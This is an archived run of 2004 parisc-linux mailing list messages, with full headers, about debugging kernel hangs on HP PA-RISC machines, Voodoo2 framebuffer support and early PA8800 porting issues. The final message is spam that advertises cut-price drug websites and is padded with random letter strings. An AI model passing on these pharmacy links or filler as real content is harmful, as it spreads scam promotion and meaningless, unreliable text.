Date: Tue, 13 Apr 2004 18:22:32 -0600
Lines: 159
Approved: news@gmane.org
Message-ID: <1081902152.1089.70.camel@laptop.bradetich.net>
References: <405D95D0.9030600@tiscali.be>
	<20040321195716.GC12455@colo.lackof.org>
	<20040323045151.GA6190@colo.lackof.org> <40770BDF.10209@tiscali.be>
	<20040409211507.GB32385@colo.lackof.org> <4077B104.9030707@tiscali.be>
	<20040410181439.GA13387@colo.lackof.org> <407864F0.8090404@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623367 8213 80.91.229.3 (22 Nov 2014 02:29:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:27 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: rbradetich@uswest.net  Tue Apr 13 18:22:40 2004
Return-Path: <rbradetich@uswest.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 117C048C6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Apr 2004 18:22:40 -0600 (MDT)
Original-Received: from [10.0.0.50] (unknown [10.0.0.50])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 0C00A2B10E; Tue, 13 Apr 2004 18:22:38 -0600 (MDT)
In-Reply-To: <407864F0.8090404@tiscali.be>
X-Mailer: Ximian Evolution 1.4.6 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 00:22:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21397

Hello Joel,

I finally had some time to compile a kernel and boot some systems today
so I tested the latest CVS head on my C200 and a J200 to see if I could
duplicate the problem you are seeing.

The J200 is basically a dual processor C100 so it should be very close
to the C110 (i.e. no PCI, EISA based, etc)  The device names are
different so I am not sure if it is close enough but I still think it is
a relevant data point.


Device list for the J200:

1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0x7, 0x580, 0x0000b }
2. SkyHawk 100/120 FW-SCSI at 0xf3f80000 [8/0] { 4, 0x0, 0x01f, 0x00089
}
3. SkyHawk 100/120 Core BA at 0xffd00000 [8/12] { 11, 0x0, 0x01f,
0x00081 },  additional addresses: 0xffd0c000 0xffc00000
4. SkyHawk 100/120 Core Centronics at 0xffd02000 [8/12/0] { 10, 0x0,
0x01f, 0x00074 },  additional addresses: 0xffd01000 0xffd03000
5. SkyHawk 100/120 Audio at 0xffd04000 [8/12/1] { 10, 0x0, 0x01f,
0x0007b }
6. SkyHawk 100/120 Core RS-232 at 0xffd05000 [8/12/4] { 10, 0x0, 0x01f,
0x0008c }
7. SkyHawk 100/120 Core SCSI at 0xffd06000 [8/12/5] { 10, 0x0, 0x01f,
0x00082 }
8. SkyHawk 100/120 Core LAN (802.3) at 0xffd07000 [8/12/6] { 10, 0x0,
0x01f, 0x0008a }
9. SkyHawk 100/120 Core PS/2 Port at 0xffd08000 [8/12/7] { 10, 0x0,
0x01f, 0x00084 }
10. SkyHawk 100/120 Core PS/2 Port at 0xffd08100 [8/12/8] { 10, 0x0,
0x01f, 0x00084 }
11. U2-IOA BC GSC+ Port at 0xf3fbf000 [8/63] { 7, 0x1, 0x501, 0x0000c }
12. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0x7, 0x580, 0x0000b }
13. HP HSC-PCI Cards at 0xf3fc0000 [10/0] { 4, 0x0, 0x004, 0x0009d }
14. Hyperdrive Optional Graphics at 0xf6000000 [10/16] { 10, 0x0, 0x005,
0x00077 }
15. SkyHawk Wax BA at 0xffe00000 [10/20] { 11, 0x0, 0x01f, 0x0008e }, 
additional addresses: 0xffe03000 0xffe06000
16. SkyHawk 100/120 Wax HIL at 0xffe01000 [10/20/1] { 10, 0x0, 0x01f,
0x00073 }
17. SkyHawk 100/120 Wax RS-232 at 0xffe02000 [10/20/2] { 10, 0x0, 0x004,
0x0008c }
18. SkyHawk 100/120 Wax EISA BA at 0xfc000000 [10/20/5] { 11, 0x0,
0x01f, 0x00090 },  additional addresses: 0xf0182000 0xf4000000
19. U2-IOA BC GSC+ Port at 0xf3fff000 [10/63] { 7, 0x1, 0x501, 0x0000c
},  additional addresses: 0xf3fc0000
20. SkyHawk 100 at 0xfffa0000 [32] { 0, 0x0, 0x585, 0x00004 }
21. Memory at 0xfffb1000 [49] { 1, 0x0, 0x049, 0x00009 }
CPU(s): 1 x PA7200 (PCX-T') at 100.000000 MHz


Would you be interested in trying the lifimage I complied and
successfully booted on both the J200 and the C110?  If the lifimage
boots on your system then we localize the problem down to possible tool
chain or .config problem (I used the defconfig).


Linux moby 2.6.5-pa6 #2 Tue Apr 13 12:01:32 MDT 2004 parisc GNU/Linux

cpu MHz         : 100.000000
model           : 9000/770/J200

Thoughts?

Thanks,

- Ryan

On Sat, 2004-04-10 at 15:19, Joel Soete wrote:
> Grant Grundler wrote:
> > On Sat, Apr 10, 2004 at 08:32:04AM +0000, Joel Soete wrote:
> > 
> >>I will so just reversed mentioned patches, check if it is the real
> >>cause of my pb.
> > 
> > 
> > ok
> > 
> 
> Well I reach to reverted it and the result is a booting and operational kernel.
> oops, my bad: I also reverted my config. Very stupid of my part, I just have re-do test; sorry
> 
> > 
> >>If yes (I don't see what else) re-apply patch hunk by hunk until it breaks 
> >>again?
> > 
> > 
> > That won't work with the changes to ccio driver. It's all or nothing.
> > 
> (I see, any way there was 2 steps for this patch and I don't have the opportunity to test the first step alone?)
> > 
> >>Any better idea?
> > 
> > 
> > I don't understand why C360 (James' machine) works and C110 (your machine)
> > does not.  C110 doesn't have PCI and maybe different keyboard/LAN.
> > Find out what is different between the two machines and see if ccio
> > changes broke one of the drivers for the different HW.
> > 
> C110's Devices						      |	C360's Devices
> 
> Raven 120 T' (Processor)  (PA7200 (PCX-T'))		      |	Raven W 360 (9000/780/????) (Processor)  (PA8500 (PCX-W))
> SkyHawk 100/120 (Memory)				      |	Raven W 360 Memory (Memory)
> SkyHawk 100/120 FW-SCSI (A DMA) (Zalon driver)		      |	Raven U/L2 Dino RS-232 (Foreign I/O Module) (Serial driver)
> Raven T' Core Centronics (Foreign I/O Module) (Parallel drive |	Raven+ w Core Centronics (Foreign I/O Module) (Paral
> Raven T' Audio (Foreign I/O Module) (Harmony driver)	      |	Raven+ w Core Audio (Foreign I/O Module) (Harmony d
> Raven T' Lasi Core RS-232 (Foreign I/O Module) (Serial driver |	Raven+ w Core RS-232 (Foreign I/O Module) (Serial d
> Raven T' Core SCSI (Foreign I/O Module) (NCR53c710 driver)    |	Raven+ w Core SCSI (Foreign I/O Module) (NCR53c710
> Raven T' Core LAN (802.3) (Foreign I/O Module) (Lasi_82596 dr |	Raven+ w Core PC Keyboard (Foreign I/O Module) (PS/
> Raven T' Core PC Keyboard (Foreign I/O Module) (PS/2 driver)  |	Raven+ w Core BA (Bus Adapter) (Lasi driver)
> Raven T' Core PC Floppy (Foreign I/O Module)		      <
> Raven T' Wax HIL (Foreign I/O Module) (HIL driver)	      <
> Raven T' Wax RS-232 (Foreign I/O Module) (Serial driver)      <
> Raven T' GSC Core Graphics (Foreign I/O Module)		      <
> Raven T' Core BA (Bus Adapter) (Lasi driver)		      <
> Raven T' Wax BA (Bus Adapter) (Wax driver)		      <
> Raven T' Wax EISA BA (Bus Adapter)			      <
> U2-IOA BC Runway Port (IOA) (x2)				U2-IOA BC Runway Port (IOA) (x2)
> 							      >	Dino PCI Bridge (Bus Bridge to Foreign Bus) (Dino driver)
> 							      >	Cujo PCI Bridge (Bus Bridge to Foreign Bus) (Dino driver)
> 							      >
> 							      >	53c875 (Symbios Logic Inc. (formerly NCR)) (SYM8xx driver)
> 							      >	DECchip 21142/43 (Digital Equipment Corporation) (Tulip drive
> 							      >	Visualize FX4 (Hewlett-Packard Company)
> 
> This is diff -y of devices list grab from web h/w db (may be c360 list could be confirmed by James with a dmesg file?)
> It help me to point out 2 big diff: scsi Zalon driver and Lasi_82596 Lan nic (I removed HIL modules simply because no device 
> available).
> 
> That said the system always became to hang when I start a large disk i/o with a find into a linux kernel for example and also by 
> accident I also start a kernel without Lasi module (and iirc the same pb occured) but in any case I could make it leave without 
> Zalon driver; or did I miss something else in my .config (so much diff between the 2 config I used).
> 
> (C110 need long hours to compile the kernel :( but that is all I have at home)
> 
> > You might need to add pdc_io_reset_devices() to ccio_ioc_init()
> > since we moved that out of the common code path.
> 
> hmm I don't see such stuff in patches I grab of jejb changes?
> Any way I see what you did in sba_hw_init() (I will so be able to reproduce it ;) )
> 
> > I don't see that
> > in CCIO driver and it's not clear to me if HIL or LAN need it on C110.
> > 
> > It *might* need pdc_io_reset() call instead (or in addition)
> > but I don't know.  Just another thing to be aware of.
> > 
> Thanks for all kind advise (it will just take me much more test and so many time before I could figure out the actual pb)
> 
> Joel
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo 2
Date: Tue, 13 Apr 2004 22:06:38 -0400
Organization: wh0rd.org
Lines: 20
Approved: news@gmane.org
Message-ID: <200404132206.38525.vapier@gentoo.org>
References: <Pine.LNX.4.58.0404112251130.26022@sal.ucc.ie>
	<200404130021.13209.vapier@gentoo.org>
	<200404130959.23054.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623368 8219 80.91.229.3 (22 Nov 2014 02:29:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: vapier@gentoo.org  Tue Apr 13 20:06:48 2004
Return-Path: <vapier@gentoo.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [212.13.198.204])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E6B149B1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Apr 2004 20:06:47 -0600 (MDT)
Original-Received: (qmail 15083 invoked from network); 13 Apr 2004 22:06:41 -0400
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 13 Apr 2004 22:06:41 -0400
Original-Received: (qmail 3828 invoked from network); 14 Apr 2004 04:04:59 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 14 Apr 2004 04:04:59 -0400
User-Agent: KMail/1.6.1
In-Reply-To: <200404130959.23054.deller@gmx.de>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 02:06:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21398

On Tuesday 13 April 2004 03:59 am, Helge Deller wrote:
> My above test was with the sstfb driver built-in into the kernel and with
> all other graphics drivers (incl. stifb and STI text console) disabled.
>
> Then, in a second test I enabled STIFB, and choosed SSTFB as module.

ok, here's what i found ...

the card i originally tried doesnt seem to work atm ... it's the obsidian card 
that was top of the line in its day because it's basically 2 voodoo2's on 1 
pci card ... when i modprobe the module, machine locks up ... when i boot 
with the driver built in, it dies, but i can at least see a bunch of oops 
messages ;)

i had another voodoo2 card, a sti black magic, and it works as you 
advertise :)

thanks
-mike


From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <Soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Wed, 14 Apr 2004 08:45:38 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <40711E550000569F@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623368 8220 80.91.229.3 (22 Nov 2014 02:29:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:28 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: "Ryan Bradetich" <rbradetich@uswest.net>
Original-X-From: Soete.joel@tiscali.be  Wed Apr 14 00:46:27 2004
Return-Path: <Soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6FF58488E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 00:46:27 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1BDeAA-0002GJ-00; Wed, 14 Apr 2004 08:46:22 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 14 Apr 2004 08:45:38 +0200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 06:46:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21399

Hello Ryan,

>I finally had some time to compile a kernel and boot some systems today
>so I tested the latest CVS head on my C200 and a J200 to see if I could
>duplicate the problem you are seeing.
>
>The J200 is basically a dual processor C100 so it hould be very close
>to the C110 (i.e. no PCI, EISA based, etc)  The device names are
>different so I am not sure if it is close enough but I still think it is
>a relevant data point.
>
No more clue sorry

[snip]

>Would you be interested in trying the lifimage I complied and
>successfully booted on both the J200 and the C110?

Just a stupid question: where can I grab this lifimage?

> If the lifimage
>boots on your system then we localize the problem down to possible tool
>chain or .config problem (I used the defconfig).

Right I forgot to test defconfig.

That said, to get you more detail on my pb:
 - in genral i can reach to boot the system with 2.6.5-paX
 - the pb occurs when I try high i/o rate on disk (ie  a find, a fsck ,
a tar or some time a simple cp of the kernel from a fs to another one)
 - the pb can also occurs at boot time if a fs is not clear (a fsck is
so requested) or if a raid partition has to be sync (ie once again high i/o
rate on disks).

Thanks for your attention,

   Joel


PS: This system boot and mainly works always fine with a 2.4 and 2.6.3-rc1-pa3
(this is mainly this last one I used as reference), so I exclude hw pb ;)
(execpted that the battery saving system time (and more) has to be replaced)

hmm, I also read back my first report of a pb on this c110 and noticed that
everything appears for me when I tried 2.6.4-pa[12]. I so try to grab cvs
kernel tree dated of the Makefile 2.6.3-rc1-pa3 and a saved tbz of 2.6.4-pa2
to build a diff. The diff file is of about 14Mb :_(

Historically there was not a lot of big changes specific to parisc between
those releases: the main one being the jejb change in ccio-dma (and related).
I so try to revert it and it seems to works better (with 2 different config
file)
until system hang at boot again because it has to re-sync a md (the root)
device. It seems so that ccio-dma changes was not the cause but much better
a revelator of a hidden pb (In fact I never reach to work with 2.6 on this
c110 without replacing cio_mem_ratio = 4 by 2)







----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA8800 support issues
Date: Wed, 14 Apr 2004 01:00:35 -0600
Lines: 85
Approved: news@gmane.org
Message-ID: <20040414070035.GB2657@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623368 8225 80.91.229.3 (22 Nov 2014 02:29:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Wed Apr 14 01:00:41 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 411DF4857
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 01:00:41 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 28CCC298054
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 01:00:37 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 03438-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 01:00:35 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C80D3298036; Wed, 14 Apr 2004 01:00:35 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 07:00:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21400

Hi,
I just committed the first bit of PA8800 support while poking
at a cast off PA8800 prototype.  In addition to problems described
below, I need to fix (at least) two issues in sba_iommu driver:
1) need to add ZX1 IODC values so sba_probe() will claim the IOC(s)
2) IOVA is not zero based (we think) - need to read that from ZX1
   chips and use it to mask/OR values where we convert iopdir
   indexes to/from IOVAs.

But we haven't gotten that far yet.
The palinux kernel is now panicing nicely here:
...
Determining PDC firmware type: 64 bit PAT.
model 000088a0 00000491 00000000 00000002 d4936494c9f85489 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 20 rev 4 (0x00000284)
capabilities 0x35
model 9000/785/C8000
Only equivalent aliasing supported
Kernel panic: SMP kernel required to avoid non-equivalent aliasing
In idle task - not syncing

This corresponds to arch/parisc/kernel/cache.c:
...
        if ((boot_cpu_data.pdc.capabilities & PDC_MODEL_NVA_MASK) ==
                                                PDC_MODEL_NVA_UNSUPPORTED) {
                printk(KERN_WARNING "Only equivalent aliasing supported\n");
#ifndef CONFIG_SMP
                panic("SMP kernel required to avoid non-equivalent aliasing");
#endif
        }


The PAT PDC ERS describes NVA bits like this:

| The NVA (Non-equivalent Virtual Aliasing) field is a two bit field
| which indicates whether non-equivalent virtual aliasing is supported
| on the platform, and if so, if it has a performance impact. NVA field
| values are shown in the following table:
| Key / Description
| 0b00 / Non-equivalent aliasing supported without performance penalty.
| 0b01 / Non-equivalent aliasing supported with performance penalty.
| 0b10 / Reserved
| 0b11 / Non-equivalent aliasing not supported. Data corruption or HPMCs
         may result.
| Superdome will set the NVA bits to 0b11.

And apperently PA8800 on ZX1.

So what are my choices?
1) get SMP working on 2.6.x
	o already working on that but can't figure out why set_bit()
          is crashing my single CPU a500.
	o long term, we still want to run UP kernels to narrow down SW bugs.
2) hack VM support so whatever magic makes NVA work on SMP=y is a
   build time option that works when CONFIG_SMP=n as well.
 	o way beyond my skill set and time I've got to hack on palinux. 
	o may not be feasible...

Any other ideas?


BTW, I found one more bit of documentation relevant to
non-equivalent aliases:
| PA-RISC, version 1.1, edition 3, described updated rules for
| non-equivalent aliasing in order to support Tornado in KittyHawk.
| In truth, Tornado did not require that those aliasing rules be strictly
| enforced, since it was overdesigned to increase debugability. However,
| any PA-RISC processor interfacing to a shared Merced bus definition
| requires strict adherence to those aliasing rules.
|
| Specifically, if a load miss transaction is ever issued that finds both
| a Shared copy and a Dirty copy of the same line, the transaction will
| hang in the snoop phase, until the transaction times out and crashes
| the system. This situation can be caused by allowing non-equivalent
| read translations to exist while there is an existing write translation,
| or by not flushing all dirty data out of the caches (and Syncing) before
| re-enabling the read translations. Flush-only translations, however,
| are safe, since it is illegal to respond Shared to a flush transaction.

I'm hoping that's relevant to the current work on better cache support.

thanks,
grant


From - Thu Nov 08 21:31:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "The Medication Shop" <sOBR@mailblocks.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Breaking News 7657
Date: Wed, 14 Apr 2004 02:10:52 -0500
Lines: 63
Approved: news@gmane.org
Message-ID: <ad1201c421ef$dd23e674$005a4eb6@hDZscQgY>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_358_01EE_70E301EE.70E301EE"
X-Trace: ger.gmane.org 1416623369 8227 80.91.229.3 (22 Nov 2014 02:29:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: sOBR@mailblocks.com  Wed Apr 14 01:11:39 2004
Return-Path: <sOBR@mailblocks.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailblocks.com (unknown [221.10.141.236])
	by dsl2.external.hp.com (Postfix) with SMTP id B7E40488E
	for <parisc-linux@parisc-linux.org>;
	Wed, 14 Apr 2004 01:11:17 -0600 (MDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 07:11:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21401

This is a multi-part message in MIME format.

------=_NextPart_358_01EE_70E301EE.70E301EE
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

"Cheapest Drug Source": http://www.valuedrxnet.com?rid=1000

Visit now! - http://www.choicerxpalace.com?rid=1000

Hope you will enjoy this crazy tip of mine



eiwxwiexmmwwxorzdafytnllzqqbwniaxgztpdtbqrznfsmktuimhtzgmrjigtkeajzrmsucjtrrmebhamvjhwptn, dtvpzxyzolripbehusnxzpjwyrspmfpsamhakgzatslkvptphgnivwevpwkedzwdmfdyneygxjtsymihvvpstvolrypuanyosdmgikof, jxwwherevjarxlkycfyrfmjiyrskixirxfpelglgslzrwkparprwbcgbwboeywxxdneovpxpayhyiyybopzrrivnjjthhrhlglzb, yraxayhawjonkiesdubmnltgsgmdiqfgjfflfnldyasikwdnsebgpuojdbmltrrcyznfoykmacwmbbztgabxxqhatv, mpeqpdfxrfhfimeunfuinwkltcuvvrijipzysexmlgttszohfkqsicfcebzbtikdxldrrafchbyba
jfybagdhkjjkmeuyhtjnmcnuewveavqjdqmfzpmjaxvmbrklmvyzxntdmqimlaxqtjvsakbahzojqawdvw, ulxzxnjjamgtfroxryarizhrshpxelbawacwplfrxokchzbzzeshfaaxjrwqcxsbxuxogegfuqkcrlbtrvcxvduhwrzbqrcqob, whkbcdlguzjnqeqncvkltdkutdwjrzqnhcplfctadepuihjmevxyyjsunrfesvsbyjmfnh, rlznwgyknuilstfogyulrrfsrqhxdqeucfjamikbcumwotnushhlyofqeopkfvgjbqlpyvqcqeagxncrukevyknfycpfzvq, lbplxfppjqxjdzaajfxkrkprogxnbnoppfcolsfwicfnbgpnnoxeaoxouuexkuobzrrmjwjtaoibwaojonppbnfxjjxtdlwf
nrnlcgnrrpnrfzhvowydcwnltirghyjwrwiufvlymaruzypqvptxlikgrdpybyutwendcaboaskctbsornnewznndcngajbyoocqqfgtatvtup, lcwqavdpafchhoifczjuppckrvhmqwvbbrtdoytpdxwmlgspfdlxsohljpxbnsfqlyuaxnrcknpyvjnbm, yfphsyyqcmkhcyfwyelrhygywbhlctmcabmtcklewxlbvsxvxjmghsefulqyeddfgpaiblmyizbgsybrj, xsgdzcqqbuvgbbvdkyoywzyzfsaijjwiefndhdvkzqsdunggoxemwemdymljxktbpghyjcljtdmptuvhrbtpifsg, gqrsjshszhbcumxyamtvhamkvcsbwzuernwcgfuhpwljkijlwcgfcuqyyibxjxbaladtfzawxmgiwpvvsdawxquwbxtkxwn
wsberdaprgzqyulqxlowelufinpfmcpiusooypfpxefvaqnxeetipqnxfefrjwcfpqtnhaefekcecsdgwzqlpfkumrov, qcfiyuqyyxfkzjptpxrooeftpbfipcyffdofxgdydiicuxyjvpzlugglhotxssexxucvaitfqdikdivaxulrctekhyjaspzpmemmmhselcpqmmqjjddlwhxghg, zyhrkndyznsgywxoijgssjxgfednmmvnkdewqkusxnyxjvnugtmbcjhjpkxbysrkxvgqhbkeqibbfovlhjmluvxkiwngqgro, zglcqquatyhiturfjfbecnmabvqhoglnmxscpmeiklsggknprotvcivfdlotscggbajqnpaxbtfhfswwhrrlzoqebe, tggcjgnztcatdvakatiwcapnzddeejdasjcbqrdltfgxahhacqyesprruwxafbazmebevesrjyolhxljplnhaezuayuibxhodkubqms
lgkufxevirckydgacbkfasvfeqgvcawpihkogqjrhlbhpiitlsynmusrmboobkgktsyaihtruuzlejerdfesz, jlyzbbjjldblfjuybpscazlhqomvgnurauqdvcnjfowkyribicdkboruedrnsleshxwezjp, xmqxfaynebxgrrcwwtjpgpjpoftpqjvqxnpcnopsroajfehcxqrfhcuwknnayjsvwizmyqgrfiammhojzhojkkhuzuwydrvc, vqznwqsetfqcvbefrnpbulaohauaywbvoaiktdqokiqflukehbhbmjswkmwikyfyanktqcjakaixwubewihkrzgdnflxfsxfghbyjkbvm, sjfvpddwoxywalboligioosrnddqzqbtzgrqkumytmwuaailiqvyfnpsrvisllnmreedzqdufaofayqipnjubaouvyoijbwcgaghtlbylqdlqvwfihblhrhdrvncxkh
